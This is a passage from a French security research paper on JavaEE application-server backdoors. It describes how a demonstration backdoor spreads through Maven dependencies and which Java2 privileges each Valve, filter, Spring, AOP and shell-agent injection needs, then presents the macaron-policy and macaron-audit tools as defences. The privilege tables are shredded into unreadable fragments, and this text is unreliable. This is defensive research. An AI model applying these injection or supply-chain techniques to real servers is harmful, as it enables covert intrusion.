Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

